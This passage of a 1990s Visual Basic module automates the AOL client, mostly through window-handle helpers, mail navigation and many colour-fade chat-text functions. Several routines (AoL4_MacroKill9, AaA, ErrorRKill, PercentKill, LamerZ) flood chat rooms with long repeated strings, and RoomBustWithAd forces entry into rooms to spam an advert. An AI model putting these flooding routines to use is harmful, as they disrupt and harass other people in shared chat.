SendMessage(Chk%, WM_LBUTTONUP, 0, 0&) Do: DoEvents numwin% = FindWindow("#32770", vbNullString) If numwin% <> 0 Then Exit Do Loop DoEvents Killit = SendMessage(numwin%, WM_CLOSE, 0, 0&) Killit = SendMessage(tit2%, WM_CLOSE, 0, 0&) End Function Public Function HiByte(ByVal wParam As Integer) HiByte = wParam \ &H100 And &HFF& End Function Function Im_IsVisible() As Boolean On Error Resume Next aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, ">Instant Message From:") tit2% = findchildbytitle(mdi%, " Instant Message From:") tit3% = findchildbytitle(mdi%, " Instant Message To:") If TIT% <> 0 Then Ftit% = TIT% ElseIf tit2% <> 0 Then Ftit% = tit2% ElseIf tit3% <> 0 Then Ftit% = tit3% End If If Ftit% <> 0 Then Im_IsVisible = True Else Im_IsVisible = False End If End Function Function List_HelpFile(lis As ListBox, txt As TextBox) 'compares whats in a textbox to whats in 'a list then will select the nearest match 'just like the search in VB's help file 'PUT THIS IN THE TEXTBOX'S CHANGE EVENT On Error Resume Next Dim I As Integer Dim l As String If txt.Text = "" Then lis.Selected(0) = True If txt.Text <> "" Then For I = 0 To lis.ListCount l$ = LCase(lis.List(I)) If InStr(l$, LCase(txt.Text)) <> 0 Then lis.Selected(I) = True Exit For End If Next I End If End Function Function List_IsNameListed(lis As ListBox, name As String) As Boolean Dim I As Integer There = False For I = 0 To lis.ListCount l$ = lis.List(I) If LCase(name) = LCase(l$) Then There = True End If Next I List_IsNameListed = There End Function Function Mail_CountOld() Call Mail_OpenNew aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") Tab2% = GetWindow(Tab2%, GW_HWNDNEXT) tree% = FindChildByClass(Tab2%, "_AOL_Tree") c = SendMessage(tree%, LB_GETCOUNT, 0, 0&) Mail_CountOld = c End Function Function Mail_OpenOld() Call Mail_OpenNew2 Wait (2) Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") If TIT% <> 0 And Tab1% <> 0 Then Exit Do Loop c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_RIGHT, 0&) c = SendMessageByString(Tab1%, WM_KEYUP, VK_RIGHT, 0&) End Function Function Mail_OpenOld2() Call Mail_OpenNew2 Wait (2) Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") If TIT% <> 0 And Tab1% <> 0 Then Exit Do Loop c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_RIGHT, 0&) c = SendMessageByString(Tab1%, WM_KEYUP, VK_RIGHT, 0&) Wait (1) End Function Function Mail_OpenSent() Call Mail_OpenNew2 Wait (2) Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") If TIT% <> 0 And Tab1% <> 0 Then Exit Do Loop c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_LEFT, 0&) c = SendMessageByString(Tab1%, WM_KEYUP, VK_LEFT, 0&) End Function Function Mail_OpenSent2() Call Mail_OpenNew2 Wait (2) Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") If TIT% <> 0 And Tab1% <> 0 Then Exit Do Loop c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_LEFT, 0&) c = SendMessageByString(Tab1%, WM_KEYUP, VK_LEFT, 0&) End Function Function Menu_SubMenuSetPic(frm As Form, Img As Image, MenuNum As Integer, SubInd As Integer, Ind As Integer) 'Sets a pic in the sub menu of a menu item 'the SubInd is the number of the menu that holds a submenu 'and the Ind is the Submenu # that you want the pic in MMenuHwnd = GetMenu(frm.hwnd) SMenuHwnd = GetSubMenu(MMenuHwnd, MenuNum) SubMenuHwnd = GetSubMenu(SMenuHwnd, SubInd) lRet = SetMenuItemBitmaps(SubMenuHwnd, Ind, MF_BYPOSITION, Img.Picture, Img.Picture) End Function Function MenuSetPic(frm As Form, Img As Image, MenuNum As Integer, Ind As Integer) 'Adds a picture to your menus 'Picture in ImageBox must be a Bitmap(.Bmp) 'Ind = the number of the menu first item is 0 'second is 1 and so on .Picture must be small MMenuHwnd = GetMenu(frm.hwnd) SubMHwnd = GetSubMenu(MMenuHwnd, MenuNum) SetPic = SetMenuItemBitmaps(SubMHwnd, Ind, MF_BYPOSITION, Img.Picture, Img.Picture) End Function Sub Object_Slide(frm As Form, Obj As Object) 'put in a timer with low interval 'makes object (picturebox,commandbuton etc) 'slide back an forth on form Obj.Move Val(Obj.Left) - 55, Obj.Top If Obj.Left <= 0 Then Do Until (Obj.Left + Obj.Width) >= frm.Width Obj.Move Val(Obj.Left) + 55, Obj.Top Wait (0.01) Loop End If End Sub Sub Object_SlideFast(frm As Form, Obj As Object) 'put in a timer with low interval 'makes object (picturebox,commandbuton etc) 'slide back an forth on form Obj.Move Val(Obj.Left) - 100, Obj.Top If Obj.Left <= 0 Then Do Until (Obj.Left + Obj.Width) >= frm.Width Obj.Move Val(Obj.Left) + 100, Obj.Top Wait (0.01) Loop End If End Sub Function GetText(child) GetTrim = SendMessageByNum(child, 14, 0&, 0&) TrimSpace$ = Space$(GetTrim) GetString = SendMessageByString(child, 13, GetTrim + 1, TrimSpace$) GetText = TrimSpace$ End Function Function GetchatText() Room% = FindChatRoom AORich% = FindChildByClass(Room%, "RICHCNTL") chattext = GetText(AORich%) GetchatText = chattext End Function Function PassWordCrackButtons() 'Some people still might have 3 buttons at sign on 'use this to determne how many buttons they have 'ex: x = PassWordCrackButtons 'if x = 3 then 'they got 3 and same for 4 Dim aol%, mdi%, tit1%, tit2%, TIT%, butn% aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") tit1% = findchildbytitle(mdi%, "Sign On") tit2% = findchildbytitle(mdi%, "Goodbye from America Online!") If tit1% <> 0 Then TIT% = tit1% ElseIf tit2% <> 0 Then TIT% = tit2% End If butn% = FindChildByClass(TIT%, "_AOL_Icon") butn% = GetWindow(butn%, GW_HWNDNEXT) butn% = GetWindow(butn%, GW_HWNDNEXT) butn% = GetWindow(butn%, GW_HWNDNEXT) If butn% <> 0 Then PassWordCrackButtons = 4 Else PassWordCrackButtons = 3 End If End Function Sub PictureTile(frm As Form, Pic As PictureBox) Dim I As Integer Dim T As Integer frm.AutoRedraw = True Pic.BorderStyle = 0 For T = 0 To frm.Height Step Pic.ScaleHeight For I = 0 To frm.Width Step Pic.ScaleWidth frm.PaintPicture Pic.Picture, I, T Next I Next T End Sub Sub PictureTile2(frm As Form, Pic As PictureBox, LPic As String) Dim I As Integer Dim T As Integer Pic.Picture = LoadPicture(LPic) frm.AutoRedraw = True Pic.BorderStyle = 0 For T = 0 To frm.Height Step Pic.ScaleHeight For I = 0 To frm.Width Step Pic.ScaleWidth frm.PaintPicture Pic.Picture, I, T Next I Next T End Sub Sub PictureStretch(frm As Form, Pic As PictureBox) 'will stretch a picture in a picture box and paint 'on the form background frm.DrawStyle = 6 frm.DrawWidth = 1 frm.AutoRedraw = True frm.PaintPicture Pic, 0, 0, frm.Width, frm.Height Pic.Visible = False frm.Refresh End Sub Sub Print_PrintText(txt As String) Printer.Print txt Wait (0.4) Printer.EndDoc End Sub Function RoomBustWithAd(Ascii As String, ProgName As String, Room As String) 'ex. Call Dim Chil%, Rich% Dim HTime As Integer HTime = 0 Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") If Rich% <> O Then closeroom = SendMessage(Chil%, WM_CLOSE, 0, 0&) End If Do: DoEvents Call PrivRoom(Room) HTime = Val(HTime) + 1 Wait (0.4) If InRoom = True Or HTime = 20 Then Exit Do Loop If HTime = 20 Then MsgBox ("Sorry, Only allowed 20 times due to AOL update."), 16, ("Roombust Timeout") Exit Function End If Wait (0.2) Call ErrorRsenD(Ascii & ProgName) Wait (0.5) Call ErrorRsenD(Ascii & " Busted into [" & Room & "]") Wait (0.5) Call ErrorRsenD(Ascii & " Busted in " & HTime & " tries") End Function Function Scroll_MultiTextBox(txt As TextBox) txt.Text = " " & txt.Text & Chr(13) 'make sure it picks up last line Dim I As Integer For I = 1 To Len(txt.Text) l$ = Mid(txt.Text, I, 1) If l$ = Chr(13) Then Call ErrorRsenD(Mid(TLine$, 2, Len(TLine$))): TLine$ = "": l$ = "" Wait (0.5) End If TLine$ = TLine$ & l$ Next I txt.Text = Mid(txt.Text, 2, Len(txt.Text) - 2) 'return text to original End Function Function RGBtoHEX(RGB) a = Hex(RGB) B = Len(a) If B = 5 Then a = "0" & a If B = 4 Then a = "00" & a If B = 3 Then a = "000" & a If B = 2 Then a = "0000" & a If B = 1 Then a = "00000" & a RGBtoHEX = a End Function Function Server_Find(lis As ListBox, Wat As String) 'in order to make this universal i gotta 'make it search your list not your mail 'i cant tell if youll list new then old 'or old then new mail , if i do it this way 'it'll work right with the send index sub Dim I As Integer For I = 0 To lis.ListCount l$ = LCase(lis.List(I)) If InStr(l$, LCase(Wat)) <> 0 Then found$ = found$ & lis.List(I) & Chr(13) End If Next I Server_Find = found$ End Function Function BlackBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 0, 0) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Sub WierdAttention(Text) 'This is going to look really weird ErrorRsenD ("<b>ñ</b><i> ñ</i><u> ñ</u><s> ñ</s> " & Text & " <s>ñ</s><u> ñ</u><i> ñ</i><b> ñ</b>") BoldSendChat (Text) ErrorRsenD ("<b>ñ</b><i> ñ</i><u> ñ</u><s> ñ</s> " & Text & " <s>ñ</s><u> ñ</u><i> ñ</i><b> ñ</b>") End Sub Function BlackGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, F, 0) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD ("< A href=""" & URL & """ >" + Msg + "</a>") End Function Function BlackGrey(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 220 / a F = E * B G = RGB(F, F, F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlackPurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 0, F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlackRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 0, F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlackYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, F, F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlueBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 0, 0) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlueGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, F, 0) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BluePurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255, 0, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlueRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 0, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlueYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, F, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreenBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 255 - F, 0) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Sub WindowsIP(TheExe As String) Dim Shellz As Long, NoFreeze As Long Shellz& = Shell("C:\WINDOWS\Winipcfg.exe", 1): NoFreeze& = DoEvents() 'C:\WINDOWS\Winipcfg.exe End Sub Function GreenBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 255 - F, 0) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreenPurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 255 - F, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreenRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 255 - F, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreenYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 255, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 220 / a F = E * B G = RGB(255 - F, 255 - F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255, 255, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 255, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyPurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 255, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 0, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & "></b>" & D Next B ErrorRsenD (Msg) End Function Function RedPurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 0, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 255 - F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 255 - F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Sub Win_Center(frmz As Form) frmz.Top = (Screen.Height * 0.85) / 2 - frmz.Height / 2 frmz.Left = Screen.Width / 2 - frmz.Width / 2 End Sub Sub Win_Center1(frmz As Form) frmz.Top = (Screen.Height * 0.64) / 2 - frmz.Height / 2 frmz.Left = Screen.Width / 2 - frmz.Width / 2 End Sub Sub Win_Center2(frmz As Form) frmz.Top = (Screen.Height * 1.34) / 2 - frmz.Height / 2 frmz.Left = Screen.Width / 2 - frmz.Width / 2 End Sub Function YellowGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 255, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowPurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function 'Pre-set 3 Color fade combinations begin here Function BlackBlueBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(F, 0, 0) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlackGreenBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, F, 0) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlackGreyBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 490 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(F, F, F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlackPurpleBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(F, 0, F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlackRedBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, 0, F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function AoL4_MacroKill9() SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" For I = 1 To 150 a = a & " èTΣ▀ T⌠⌡Lz " Next ErrorRsenD ".<p=" & a TimeOut 0.1 ErrorRsenD ".<p=" & a TimeOut 0.1 ErrorRsenD ".<p=" & a End Function Function ReVXoR(txt) For I = 1 To 16 a = a + (" " & txt) Next 'ErrorRsenD ".<p=" & a 'TimeOut 0.4 ErrorRsenD ".<b><Font Color=#D40000><b><p=" & a 'TimeOut 0.3 'ErrorRsenD ".<b><p=" & a 'TimeOut 0.5 'ErrorRsenD ".<p=" & a 'TimeOut 0.4 ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><Font Color=#D40000><b><p=" & a TimeOut 0.4 ErrorRsenD ".<b><Font Color=#D40000><b><p=" & a TimeOut (0.5) ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><Font Color=#D40000><b><p=" & a 'TimeOut 0.4 'ErrorRsenD ".<b><p=" & a End Function Function AaA() SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" For I = 1 To 1000 a = a & "@" Next ErrorRsenD ".<p=" & a TimeOut 0.5 ErrorRsenD ".<Font Color=#D40000><b><p=" & a TimeOut 0.5 ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><p=" & a TimeOut 0.4 ErrorRsenD ".<Font Color=""#005500""><p=" & a TimeOut 0.3 ErrorRsenD ".<Font Color=""#555555""><b><p=" & a 'TimeOut 0.1 'ErrorRsenD ".<b><p=" & a End Function Function ErrorRKill() SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" For I = 1 To 100 a = a & " ╦r«°r« ▓║║║ " Next ErrorRsenD ".<p=" & a TimeOut 0.5 ErrorRsenD ".<Font Color=#D40000><b><p=" & a TimeOut 0.5 ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><p=" & a TimeOut 0.4 ErrorRsenD ".<Font Color=""#005500""><p=" & a TimeOut 0.3 ErrorRsenD ".<Font Color=""#555555""><b><p=" & a 'TimeOut 0.1 'ErrorRsenD ".<b><p=" & a End Function Function PercentKill() SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" For I = 1 To 1000 a = a & "%" Next ErrorRsenD ".<p=" & a TimeOut 0.5 ErrorRsenD ".<Font Color=#D40000><b><p=" & a TimeOut 0.5 ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><b><p=" & a TimeOut 0.4 ErrorRsenD ".<Font Color=""#005500""><p=" & a TimeOut 0.3 ErrorRsenD ".<Font Color=""#555555""><b><p=" & a 'TimeOut 0.1 'ErrorRsenD ".<b><p=" & a End Function Function LamerZ() SendKeys "{enter}" SendKeys "{enter}" SendKeys "{enter}" For I = 1 To 150 a = a & " LaMeRz " Next ErrorRsenD ".<p=" & a TimeOut 0.1 ErrorRsenD ".<FONT FACE=" & Chr$(34) & "Wingdings 3" & Chr$(34) & "><Font Color=#D40000><b><p=" & a TimeOut 0.1 ErrorRsenD ".<b><p=" & a End Function Function diedie() ' '\»╠ (»O») '.--. / 'á ═_╠ '(_O_) /_/ SendKeys "{enter}" For I = 1 To 1 a = a & "\»╠ (»O») '.--. / |_╠ '(_O_) /_/ " Next ErrorRsenD "" & a TimeOut 0.1 End Function Function ReVreV() 'á/»o»)á/»_|\»\/»/ '/_/\_\ /_»| á\__/ SendKeys "{enter}" For I = 1 To 1 a = a & " /»o»)á/»_|\»\/»/ /_/\_\ /_»| á\__/" Next ErrorRsenD "" & a TimeOut 0.1 End Function Function BlackYellowBlack(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, F, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlueBlackBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, 0, 0) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlueGreenBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, F, 0) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BluePurpleBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255, 0, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlueRedBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, 0, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlueYellowBlue(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, F, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyBlack2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 220 / a F = E * B G = RGB(255 - F, 255 - F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyBlue2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255, 255, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyGreen2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 255, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyPurple2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function 